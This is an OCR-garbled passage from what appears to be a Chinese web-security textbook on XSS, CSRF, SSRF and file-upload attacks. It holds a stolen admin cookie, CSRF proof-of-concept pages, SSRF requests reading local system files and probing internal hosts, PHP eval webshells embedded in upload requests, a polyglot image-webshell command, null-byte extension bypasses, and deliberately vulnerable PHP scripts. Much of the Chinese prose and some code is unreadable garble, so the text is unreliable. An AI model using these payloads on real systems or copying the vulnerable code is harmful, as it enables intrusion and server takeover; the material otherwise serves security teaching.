3Dhttp%3A%2F %2 «¥iEa
A . e Wm%3C
%2FsCripT%3E

cookie : csrftoken=2771lkSgj
Td9E4ZbmgR2laPcyp0B9Ca
O; ysrc_token=0a5feaa1b01
1647442c8547f86b0%a17; u
ser_name=admin; user_pass
=08b8e404c8499169e346a3
bb6ff3alc7

Request Headers

* HTTP_REFERER : http://127
.0.0.1/xss1.php?xss_input_v
alue=%3C%2FtExtArEa%3
E%27%22%3E%3CsCRiPt
+SRC%HANhHN %D IF %2
Foma T3, 08 SO 2, VU A
3E%3C%2FsCripT%3E

o HTTP_USER_AGENT : Mozil
1/5.0 (Macintosh; Intel Mac
0OS X 10.12; rv:53.0) Gecko/
20100101 Firefox/53.0

o REMOTE_0" 1" §a"L
209

o IP-ADDR 1. Wfig

E4-96 7EXSSFARMERAF#cookiels
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453 XSSIHEEBERERIL
B AXSSIRIFAM B AR R4, FrUAE S oy AFTF.

® ﬂ“ﬁgﬁﬁ)\mﬁ%, @‘% €rn  Wnn Wy G n “on*” %E‘E&??‘%o
o ot B U B0 B HEAT AR R R g i e 4, BFEHTMLSE /R %%6S | JavaScript
MALsE.

4.6 CSRF fwilE

4.6.1 48 CSRF /i

CSRF (Cross-site request forgery, #uiiFRAIE) tHPFRAOne Click AttackELE
Session Riding, i#% 45 NCSRFEEXSRF, &—Fhxt My BEFH. REFiL
RBEEHA (XSS), EHESXSSIFHEAR, XSSH M RAKEEM, TCSRF
MBS RZEER P IERZEERMNE . 5XSSKdH, CSREEHAEEAK
WAT (RIS Fa AT B E i B YR A 4% 20 ) txELARTTE, Fr AN 9 EEXSSHE A&
o o

4.6.2 CSRF fmilE 8 R

HSEw] DUX A EEARECSRE: Bk E R B P54, LB P L XAT
FuedEvkiRiE. CSRFEEMMMIFHEORE: DEMAPNE X REME. RES, &
WEGAPNKS, EEWLEG. BEURHEEK, XSMENARRLIFBIE T
AR P =2 4.

A, RGP k100G, IRAd “HK” 45, KHIHTTP
18 2K & S http://www.xxbank.com/pay.php?user=xx&money=10031L . T B o5& i %
# (http://www.xxbank.com/pay.php?user=hack&money=100), 24 B #xH P A T %
URLJE, #i& EH3hAHackIK 5 #K1007T, MHIX R R BRHP K#RE, BdE i+
WA IRELE #5 F F B cookie B HARAE .

CSRFH it ABA L TN E R



AP R b P 3 R A 3 5 2 A

F4F WebZ4AREIN < 149

o BRRAFMEAERT M, BEBPITMEITIAE.
o BARAFII T Bk E MIERIURL .
4.6.3 # M CSRF iR

CSRFJRIAZ % # F Sk E 4% i gy . RISEOMESE. T LAE Xz~ B
49BN T —MERRE KM X EM M, BFERE “RMLE” 1&HHF HBurp
Suiet#ll £

REFMIR

B I e & <> [ i = B = 9 #5E BN

» BEXFR \

s
E4-97 AHXEIRE

A LAE ZI7EBurp Suited, H— B 3I#IECSRF PoCHI T (4 i —~Engagement
tools—Generate CSRF PoC), 1El4-98F7x -
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Send to Spider

Do an active scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder

st

- Change body encoding
Copy URL
Copy as curl command
Copy to file
Paste from file

Save item

B+
B+ R

lhemarkdown=1&date=&tags=

Find references
Discover content
Schedule task

Generate CSRF PoC

Don'tintercept requests
Do intercept

vvy

Convert selection
URL-encode as you type

Cut
Copy
Paste

B2 +X
#+~+C
B+ 4V

~ Message editor help
Proxy interception help

E4-98 Burp4pCSRF PoC

Burp Suite2 4= il — BtHTMLARAD, WHTMLARES B A CSREJR I MR/ RAD, #

i “Copy HTML” %4, 4n4-99f7x.

CSRF HTML:

l Type a search term

; ] 0 a(ches

M : ig‘& “_:i"'—s]ﬁ"ﬁl'q

E4-99 Burp&mRAIHTMLAHEE

Y CSREIIR AT £ A5 Bl — AP, B 04% 4 http://xx.com/Lhtml, #1E14-100




B
05 ®

b e e

H43F  WebZ 4 B2 M

< > @ 8html ) No Selection

1 <html>

<body>

o W

<!-- CSRF PoC - generated by Burp Suite Professional -->

<script>history.pushStatef''y ''s '{'Ve/script>
<form action="http:

= o "HN . B B¥ 5x.php/action/contents—post-edit? =

fa978236b089fd36c3ef4bbaB2elBfcSa” method="POST">

6 <input
7 <input
8 <input
9 <input
10 <input
1 <input
12 <input
13 <input
14 <input
15 <input
16 <input
17 <input
18 <input
19 <input
20 <input
21 <input
2 <input
23 </form>

2% </body>

25 </html>

% |

type="hidden"
type="hidden"
type="hidden"
type=*hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="submit”

name="title" value="1" />

name="text" value="12" />
name="fieldNames&#91;&#93;" value="" />
name="fieldTypes&#91;&#93;" value="str" />
name="fieldValues&#91;&#93;" value="" />
name="cid" value="" />

name="do" value="publish® />
name="markdown" value="1" />

name="date" value="" />

name="tags" value="" />
name="visibility" value="publish" />
name="password" value="" />

name="allowComment" value="1" />
name="allowPing" value="1" />
name="allowFeed" value="1" />
name="trackback" value="" />
value="Submit request" />

E4-100 %#CSRF PoCEIMuLrh

BB %S HARH U5 A http:/xx.com/Lhtml, 2 BFr M P& T EFRE,
Fl—R a5 d T izMikE, BfsH e Eh A —RXE, WE4-101077R. X
ANH i R 2 CSREA A AL AR -
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¥ BAE

WIEX R wOoR

B -

o

1

X1 BB

ERAXET

fEa 28

admin

E4-101 BHFBREmEAGTXE
4.6.4 47 CSRF JRiEAH

THARELREGERIAE P AR, IATHRED AR,
o FKELGETZ Husername A1 2 Hpassword, 2R 5 il id select i ) 25 ) /& 15 127
SRR P, R P EE, £iEid$ SESSION % & — session:isadmin

1]
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=admin, 7515 & session: isadmin=guest.
e TR WisessionH fisadminsE 75 Aadmin, WIRisadmin != admin, 8 H
PREFER, BapkiF2ExAm. U AEEEHE AGREA RBIITHR

pi1YaE Dl UE: Z(E
e JREXPOSTZ#username S Fipassword, #AJ5 i AusersKH, 58I INH
FHHRAE

<?php
session_start();
if (isset($_GET['login'])){
$con=mysqli_connect("localhost","root","123456", " "test");
if (mysqli_connect_errno())
{
echo "HEREKM: " . mysqli_connect_error();
}
$username = addslashes($_GET['username']);
$password = $_GET[ 'password'];
$result = mysqli_query($con,"select * from users where
“username’="'".$username.”' and "~ password ='".md5($password)."'");
$row = mysqli_fetch_array($result);
if ($row) {
$_SESSION[ 'isadmin']
exit("BRMRIN");
}else{
$_SESSION[ 'isadmin'] = 'guest';
exit("BREAK");

‘admin';

}
}else{
$_SESSION[ 'isadmin'] = 'guest’;
}
if ($_SESSION['isadmin'] != 'admin'){
exit("EEREE");
}

if (isset($_POST['submit'])) {
if (isset($_POST['username'])) {
$resultl = mysqli_query($con,"insert into users( username”,
“password™) VALUES ('".$_POST['username'].""','".md5($_POST[ 'password'])."')");
exit($_POST[ 'username']."ZINKIN");
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?>

LEHE RN T R dE MIERICSREIA G, & B3I —MkS, CSRFA AN
270

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>

<head>

<script type="text/javascript" language="javascript">

var pauses = new Array( "16" );

var methods = new Array( "POST" );

var urls = new Array( "http://xxx.com/csrf.php" );

var params = new Array( "submit=1&username=1&password=1" );
function pausecomp(millis)

g
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}

function run() {
var count = 1;
var i=0;

for(i=0; i<count; i++)
{
makeXHR(methods[i], urls[i], params[i]);
pausecomp(pauses[i]);
¥
}

var http_request = false;
function makeXHR(method, url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html");

}
} else if (window.ActiveXObject) { // IE

try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");

} catch (e) {
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try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");

} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;

¥

// http_request.onreadystatechange = alertContents;

if(method == 'GET') {
if(url.indexOf('?"') == -1) {
url = url + '?' + parameters;
} else {

url = url + '&' + parameters;
}
http_request.open(method, url, true);
http_request.send("");
} else if(method == 'POST"') {
http_request.open(method, url, true);
http_request.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);

}

</script>

</head>

<body onload="run()">
</body>

</html>

AR /R F 2 B — M ATAXTE 3K, 1 R TURL Zhttp://xxx.com/csrf.php, %1
fesubmit=1&username=1&password=1, M _FIRPHPARAGH AT LLE R, MLATAXIE R
RPAT—MNRMAFBERE, HTEHERACES, FroVEE RV a8 R &
ThelgE— A .



F4F WebkAREEH 4 155

4.6.5 CSRFmEEEZEIL

- XTCSRFRIAMIESR, EFHLHH U TXH AR

o ISIFESRHIReferer{l, Wi ReferersE UL BH I EE TSk By 42, T3 B 1%
WEREEMEEE T, BEER. WRReferer/e HA MG AZ 2 H, BMAE
Al RERCSRFIHE, A4 MRENIELZIENR, (EHEHAEFER ST
o

e  CSRFH T Z FrUlRets plTh, & R AX 3 al UAOhiE - &K, Bk al 4,
A CSRFY T IR T : TEERFBMABEEARNENEE. Bl
PATEHTTPE K LS A — AN BEHLF= 4 i token, FE7E IR 55 2% i 36
ilFtoken, WNH1#E 3K & tokenzl # tokenf ] A A IERf, WA AIZIE R AT HE
FECSRFYH MM E 4B ZIE K

4.7 SSRF /mifE

471 48 SSRF I&iH

SSRF (Server-Side Request Forgery, AR&5#5imigRAiE) & —MHIEHEEEE
K, HARSS I ARG R 22w —MET, SSREMHE I H bR st 6% 1A
ARG (EFEAIEREHRS W RER, RS mEEERES B SHEmNS
SRR ES KN R S

4.7.2 SSRF fmiF R

SSRFHITE AR 2 /2 T AR 55 @ 1k 77 A Ath AR 25 45 2 R SR ER B0l i) D e LI
Xt B irs ik O iSRRG Flan, FR2ERAE R S5 in A FE E URLMhE ZREU R T SCA
7, Indds i A 56, R R AR 5 0 OB SR D id . SSREFIFAF AESRIE T Web
Rz AR B BT im AR AN A s O R 55 2%

FEEHETT AW TR

o XA AR SE ARFTAE P A s AT e AR BRI — 2R 55 [Kibanner (5 B .

o BERIBATEAMEA AN AR
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o XTI WebR A BEATIREORA, RHIMIAFEI T =E R

o WA IWeb H, FER{EFAHTTP GETIERH AT ASLI B (b
Wstruts2. SQLiZE) .

o FlFfileth UL EUA R S .

4.7.3 SSRF REF H

SSRFJRFF A btk :  http://127.0.0.1/ssrf.php?url=http://127.0.0.1/2.php.

T i ssrf.phpSE I A T BE 2 IRBUGETS (URL, AFHURLKIAZAIREMT L.
SR SR W 1 3L 3 Ahttp://www.baidu.com, U TR 1 4 & 7R http://www.baidu.com
R N2, WE4-102577 .
127.0.0.1/ssrf php?uri=http://www.baidu.com PR c O A 3R

8l hao123 B

Bai'é.ﬁ'ﬁﬁ

E4-102 EeXURLR1E

ER, JBRESHURLAANMMEEE, MESMBEAMNGE, Fln, Hul
=192.168.0.2:3306FF, TR [A] “ 2450 #b bt R o Y E B MySQLAR 55 2% 7, ¥t BA
192.168.0. 27 fEMySQLAR S,  tnE4-103F7 78 o

& 127.0.0.1/ssrf.php?url=192.168.0.2:3306

F@jHost '192.168.0.1" is not allowed to connect to this MySQL server

E4-103 HEHLURLMIEARMEIR
Vi 18] ssrf.php?url=file:///C:/Windows/win.ini B} F] SEER A SC4F, 20 E4-104F7R
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® view-source:http://127.0.0.1/ssrf.php?url=file:///C:/Windows/win.ini

. for 16-bit app support
[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

E4-104 EHURLMIEFgZA H 4
4.7.4 SSRFIRERESHT

7E U E SSRE.phpH, F2FIRENGETSEURL, @Eitcurl init)¥ihbcurl H4F )5,
¥ ZHURL Acurl_setopt($ch, CURLOPT URL, S$url), 48 f5 1 F B LA curl-execi® 3K i%
URL. BT M52 Frbanner 5 SR [F1 % F b, Fr LART LLAR #Ebanner ) W EHL 2 T F
EFELERS, KBWOT.

<?php

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 9);
curl_exec($ch);
curl_close($ch);

}

$url = $ GET['url'];
curl($url);

?>

475 SSRFREEEZEIL

EFXISSRERIAIMEE, EE%A H T X LA

o [REIERIIIG D R AEAWebin 0, R AV RHTTPAIHTTPSHIIER .
o FREIAEEDT A M EIIP, LART kX P9 R AT B

o FFROREIRTELEE R .
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4.8 XHLf%

481 NBXHLEEIRE

FEPUR IR (T Web N AR 7 o, AR SCF R — T LR DI RE, N ER BT
B RE, N IOARSE, RVFRF EAEER . MU, BNV L HAhK R
SO SR A PR BER ThRE R 2, WebS 52 3 B i RS R K, 40 SR Web .
FIAFAE SO EARIRIA, AR % P s a] AR S _E A IR TR AT 30T A RE /7
feRIRSaH, REMEHRR, REH—-PHEERSS.

4.8.2 HBHERXH ELEHENR

1. A AXHEEEFERB

EAESCARRE, SRR 5 v AR AR 5 7 S A F) ST AT R B SR IE AT U
WA B &R U AR AL, 45 EARBIA S (asp. aspx. php. jsp&5t&
WD DR

2. BE

e 7R AR B AR R R A SO A W s, B R EHIRS AR XA
BRI A S, X A WebShell, 7] ¥ WebShell [l A Fx A —Fh N 7T J5 11,
WebShell i B IEH 3R KHIhRE, LHINEHRS 2 HF. RSB, PITHR
G A%,

483 JSKMEEH T

ISt Seid_EAURIRE W R P B S0 B4R 3mSR AU B A
AV, NSHHES RN, B bESFEREIEQIFRE RIEBIRSwm, REER ) i
W 2845 F JavaScriptt] #HE Gk TR, WnBE4-105FT7R .
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E4-105 ZEAIRISKHN EEXHES

XN A WA 77 AT LLSsid & P i JavaScript R o
o fERIN T AR RORELE, BRI SRS B ANISIRIY, AR B SCERI AT SRt

o HAEEHE LA NE RSB EAE K, Wjpg. png®F, SR ISHIAG T,
HIE, 858 SO AT SRR RSB T _E AL iTh, 10 El4-106FTR .

POST /upload/upload2.php HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;qg=0.8,en-US;q=0.5,en;g=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary= 18441182091610745159615033231
Content-Length: 352

Referer: http://www.ccctf.cn/upload/js.html

Cookie: id=1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

18441182091610745159615 39234 > EE&E‘l-php

Content-Disposition: form-data; name="file"; filenam¢="1.jpg"
Content-Type: image/jpeg

<?php
phpinfo();
>

18441182091610745159615033231
Content-Disposition: form-data; name="submit"

submit
18441182091610745159615033231~—

E4-106 fEXE%E
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4.8.4 JSHMEEITH AT

B AR SO HTMLARRS A0 R Fras, TEIEFESCHR, 2 AISHselectFileik
¥, RBHERARLE X HLESR NG, REEEsubst SR 2 R E—1 RS
BHRNES (BFEAS). MEBBAE “jpg”, WESHERR “1EEFEjpghk R
H‘J:,f ”o

<html>

<head>

<title>ds KB XMH/ES</title>

</head>

<body>

<script type="text/javascript">

function selectFile(fnUpload) {

var filename = fnUpload.value;
var mime = filename.tolLowerCase().substr(filename.lastIndex0f("."));
if(mime!=".jpg")
{

alert("HiEHE jpg AMEF L")
fnUpload.outerHTML=fnUpload.outerHTML;

}
</script>
<form action="upload2.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>

R 45 v AL R _EAE SO ARSI R ATon . IR bSO B S, BBl file exists
H| Wi fEupload B 3% & X2 15 A7, AMFAERIEBE T move uploaded fileXs SR
17 #upload H 3% . HPHPAG H A X SCHF G AT R, AL R JRESIL ATiRIS
[RS8 Ak °] LA b % WebShell.

<?php
if ($_FILES["file"]["error"] > 0)
{
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echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";

echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"] . " already exists. ";

}

else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}

?>

485 XHEHRFIIWE

X RS B R RS v R R ] T R R AR e, HERA
¥ Apache 2 o VFARHT H A SO /G 41, Bl anfEhttpd.confd, WIREER W T KD,
| §E 4% i@ B php A phtml ST

AddType application/x-httpd-php .php .phtml
FriA, ATBL A& —A G 4% NphtmiffWebShell, 41 E4-107F77R

| © 127.00/1.phtmi

E4-107 Apachef@tfrphtmlIsz
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FE Apache KIEHTIRUF o, & WA BT IGMEAT ST IR RN, I REBEA MY &
BATRA, RARSEAE L HIWT, ERB R LB RS E Rk, Brilan iR bk

IS0 42 224001 .php.xxxx,  [BUA G xxxx AN AT LAA#ERT, B BA A ¢ S AT J5 ZEphp, W1
4-108Ffi7R .

127.0.0.1/1.php.ooc

El4-108 Apachef@4friiEF
4.8.6 XHERBSHIIRIEBIT

PR %5 b b B b A% TS G T B . 381 B #pathinfoSREUCHFE 4K, ¥ )5
BEMANE G, HMRAR “php”, R EAXHHFEL£php, WA EAE,
Fit LA SE A mT DL 38 3 ) FH Apache A I PR 5%t A& phtml 55 5 45 10 SO Soid 12 AR B 1) .
<?php

if ($_FILES["file"]["error"] > 0)

{

echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
¥

else
{
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info[ 'extension'];//BRI U EL
if (strtolower($ext) == "php") {
exit("ARFHFHEL");
}

echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"] . " already exists. "

.
3




4% WebZAREEM 4 163

}

else

{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}

?>

4.8.7 XHRBESITNE

FER Pty B A SCAERY, 38 it Burp SuiteUEUEHE £, 24 A& — A phphg B SCHERT,
A] LAFE BB 2 F Content-Type ff1{E £ application/octet-stream, 1M A& jpght = X4
i, #dE £ Content-Type {8 & image/jpeg, 1E4-109F1E4-110F7~.

----------------------------- 41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[a]); 2>
----------------------------- 41184676334
Content-Disposition: form-data; name="submit"

----------------------------- 41184676334- -

----------------------------- 24464570528145
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

<?php @eval($_POST[a]); 2>
----------------------------- 24464570528145
Content-Disposition: form-data; name="submit"

submit
----------------------------- 24464570528145--

E4-110 _Ef&jpgxxtt
U 5 AR 45 i A S 2 8 i Content-Type HOE SR FIWT SO IR AL, AR A A ER ST
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fURI8E, B Content-TypeltI{E ZiEid % Fimfeid i), £ LMERBHM. LA L
f—/ php LS, #EBurp Suite 44 Content-Typef& & Aimage/jpeg, &t AT LAGE AR 55
A, anE4-1115T7R .

POST /upload4.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,/%,q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/upload2.html

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary= 19990253701301
Content-Length: 878014

19990253701301
Content-Disposition: form-data; name="file"; filename="1.php"
Fontent-Type:image/jpeg |

<?php @eval($_POST(a]); ?>
19990253701301
Content-Disposition: form-data; name = "submit"

submit
19990253701301--

E4-111 &% Content-Type B FE
4.8.8 XHEBSISREB O

R %5 v AL B b A% SO ARSI T FToR, AR SS m ARG IS FILES["file"]["type"]
AZBE A FI#% (image/gif, image/jpeg, image/pipeg), MIRAE, NA R L1
23, T$_FILES["file"]["type" & & F v & 3K £ 4% £ *F i Content-Type, FfLATT LA
i id & B Content-Type B 581 1205 BR i .

<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] !=
"image/jpeg")
&& ($_FILES["file"]["type"] != “image/pjpeg")){
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exit($_FILES["file"]["type"]);
exit ("IN REFHIHER");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}

?>

FEPHPH B AELE —Fh AL SCHE EA%TRIR, PHP R $ getimagesize() AT LASKEXE
K% BmEER, WR AN RE R XM, 4 getimagesizeFIRAZREE, W
AR b1g, KRBT,

<?php
if ($_FILES["file"]["error"] > @)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";

}

else
{
if(!getimagesize($_FILES["file"]["tmp_name"])){
exit("ARIFHITH");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
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}

else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}

?>

B2, BATAT LG — A B Fl— AN WebShell & F£ 25— AN S04, BilanfE LR a4
cat image.png webshell.php > image.php

IEE, i F getimagesize()si FT LR EX B 5 5., H WebShell ] j5 4 &php, HfE
¥ Apachef@# i A IIA S, @i Fh 7 2t T LSeid getimagesize() Y R il o

4.8.9 XHEFESITIIE

HWIHAL: PHP %008 i .
BRI BT 00ERE AT, B AAC00/5 M FTA F A MIER .
B % F: PHPHRA/NT5.3.4, PHPHImagic quotes gpc HOFFIRFE

WnE4-112F7R, FE_EAESCHER, RSS3mH GETZ Hjieduan ) N A 1E O A% 5 3C
B2 ME I, RN A A B B R SO 2R A% e SR 44 1 3 — 8 4%
127.001/1.phptjieduan=111 X _
€ > C @ ® 127.00/1 phpYjieduan{111]

HERTh
B872: upload[1115220180308032507 jpg

E4-112 EHEEE

B Z4]jieduan ¥1.php%00.jpg, W IRAFEIRST A0, %007 “ jpg” FlH%
I ) A= S PR P8 SO 48 4 R, 84 SO 4 0 T 1.php, RIS 4% T WebShell
A, WmE4-113F7R.
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88§ > Program (D) > phpS Riw| Params IH.IN;u Imx ] M mmn]mx]

POST /upiaadToh*?[quum:Z.php%OO d P/11 HTTP/1.1 200 OK

&R Host: 127.00.1 Date: Mon, 06 Mar 2017 09:0045 GMT

User-Agent: Mozila/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecke/20100101 Firefox/51.0 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2) PHP/5.247
@ 2p0p Accept: text/htm, ion/ehtmi+xmi, applicati q=0.9/*q=08 X-Powered-By: PHP/5.2.17

e

Accept-Language: h-CN,zhiq0.8,en-US1qs0.5,enq =03 Content-Length: 58
Accept-Encoding: qzip, deflate L Keep-Alive: timeout=5, max=100
Referer: http//127.0.0.1/upload7 htmi Connection: Keep-Alive
Connection: keap-alive Content-Type: text/htmi

Upgrade-Insecure-Requests: 1
. Pi——

Type: multip. 185562379513181 .tmlmw»n&:}uplaadn,pnpmzzmnzoswws.m
Content-Length: 311

----------------------------- 185562379513181
Content-Disposition: form-data; name="file”; flename="1jpg"
Content-Type: image/jpeg

<iphp
phpinfol;
2>

----------------------------- 165562379513181
Content-Disposition: form-data; name= "submit®

submit
............................. 185562379513181--

El4-113 F|A##T EfEWebShell

4810 XHEMISE R IHT

R %5 oAb B A% SO ROARRS AN R s, A2 PR F substr3RBOCC 4K, R JEH
WrfE R 2 2flve swfy mp3. mp4. 3gp. zip. rar. gif\ jpg. png. bmpH HI—F,
WRAZ, AR EEZ. BRERFREETHES_REQUEST[jieduan'], #P
2 WAL AT BLF) FH 008k 7 221X G i iRk 55 i PR A

<?php

error_reporting(0);
$ext_arr =

array('flv','swf', 'mp3', 'mp4', '3gp', " 'zip', 'rar', 'gif", "jpg', 'png', 'bmp");
$file_ext =

substr($_FILES['file']['name"'],strrpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$ext_arr))

{

$tempFile = $_FILES['file']['tmp_name'];
// XA)IERI$_REQUEST[ ' jieduan ' ]k s AT AR AT b 1%
$targetPath = "upload/".$_REQUEST['jieduan'].rand(10,
99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($tempFile,$targetPath))
{

echo ' BRI . '<br>';

echo '#%f%: '.$targetPath;
}

else

{
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echo(" LAERM");

}

else

{
echo("ARFHIER");

ELHIEIL T, Blroad #52 FE 4 Ja N _EHEXTE 2 %004k 3, 4 in
filename='1.php%00.jpg', {H /& T #EphpH', $ FILES['file']['name"] 7E 153 E| L 14 4
i, %002 f5 IR s El 7, Frbl$_FILES['file']['name'|f3 2/ 5 4% & php, T
A php%00.jpg, KT LA A EEIETif(in_array($file_ext,$ext arr))IREr, n&l4-114
FE4-115F17R

POST /1.phpjieduan=111 HTTP/1.1 4  HTTP/1.4 200 OK

Host: 127.00.1 [ Date: Thu, 08 Mar 2018 03:52:09 GMT

User-Agent: Mozilla/5.0 (‘Vondom NT 10 .0; ‘\'0\\’64 NSB.O) Gecko/20100101 Firefox/58.0 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod _fegid/2.3.9
Accept: text/html appli 1q=0.9,/*9=08 X-Powered-By: PHP/7.0.12

Accept-Language: zh-CN,zh;q=0.8,zh- T‘\ "q=07.zh-HK:q=05,en-US:q=0.3,en:q=02 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/htmt; charset=UTF-8

Referer: httpy//127.0.0.1/1 html Content-Length: 18

Content-Type: multipart/f data; boundary= 146043902153

Content-Length: 312 FRIFER

Connection: close
Upgrade-Insecure-Requests: 1

--146043902153

data; name = "file"; flename={"1.phpOjpg"

Content-Type: unaqef)peg

<php @eval($_POSTa)); 2> b |
----------------------------- 146043902153 !
Content-Disposition: form-data; name = "submit™

submit
----------------------------- 146043902153~

E4-114 1#3&321#%

[ ]

ez o 6 — 38 20 S 13 /8 JU J8 1 Kewrer mps Ta HTTP/1.1 200 OK
15 2 31 32 31 2 30 2 30 2 31 A 31 2 68 74 6d /127.0.0.4/1hm P Date: Thu, 08 Mar 2018 03:52:09 GMT
16 6c 0d Oa 43 6f 6e 74 65 Ge 74 2d 54 79 70 65 3a IContentType: Server: Apache/24.23 (Win32) OpenSSL/1.0.2) mod_fegid/23.9
7 20 64 75 6c 74 69 70 61 72 74 2 66 6 72 6 2d multipartfform- ’C"Pm*;?d*“)fp“"ﬁﬂﬂz
i onnection: close
:: :; : ;: ;; :: 22: :i :‘d ;: : : 2 Z ;: ;: ;: Coin Y Content-Type: text/htm; charset=UTF-8
Content-Length: 18
1@ 20 20 2d 2d 26 20 2d 2d 24 2d 31 34 36 30 34 33 — 146043
b 39 30 32 31 35 33 0d 0a 43 6f 6e 74 65 6 74 2d 902153Content- FArame|
ic 4 65 6e 67 74 68 3a 20 33 31 32 0d 0a 43 6 e Length 312Con
14 Ge 65 63 74 69 6f 6e 3a 20 63 6c O 73 65 04 0a nection: close
fe 55 70 67 72 61 64 65 20 49 Ge 73 65 63 75 72 65 Upgradednsecure
if 24 52 65 71 76 65 73 74 73 3a 20 31 0d 0a 04 Oa -Requests:1
20 24 2d 2d 20 2d 24 20 2d 24 20 2d 24 2d 24 24 2 |
21 24 2d 2d 2d 2d 2d 2d 2d 2d 2d 24 2d 2 31 M 36 146 N
22 30 34 33 39 30 32 31 35 33 Od Oa 43 6 Ge 74 65 043902153Conte |
23 6 T4 2d 44 69 73 70 6f 73 69 74 69 6f e 3a 20 ntDisposition:
(24 66 6 72 64 2d 64 61 74 61 3b 20 Ge 61 64 65 3¢ form-data; name=
125 22 66 69 6c 65 22 3b 20 66 69 6c 65 Ge 61 6d 65 “fe". flename
% 34 2 31 2 70 6 70[00] 2 6a 70 67 22 0d Oa 43 =1phpipgC i
21  6f Be 74 65 6e 74 2d 54 79 70 65 3a 20 69 64 61 ontentType:ima !

E4-115 HEXFERHI%00
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—E M EAE U B R R EAEERSE, AERE LERXHERTE
& WebShell Jfl A<, an R & MIANBRZ SO o 35X A7 7R i 19 3R SO b A% sl Ja A
X2 A E— AN EZE (EESATRE SRR SO RERE), B &t
AT AR R XA B 8] 22 58 58 4 2% 1 ) AR IR B s

B # 5t A% —/ WebShell i 4<10.php, 10.php I P 25 2 45 . — > 57 ) WebShell

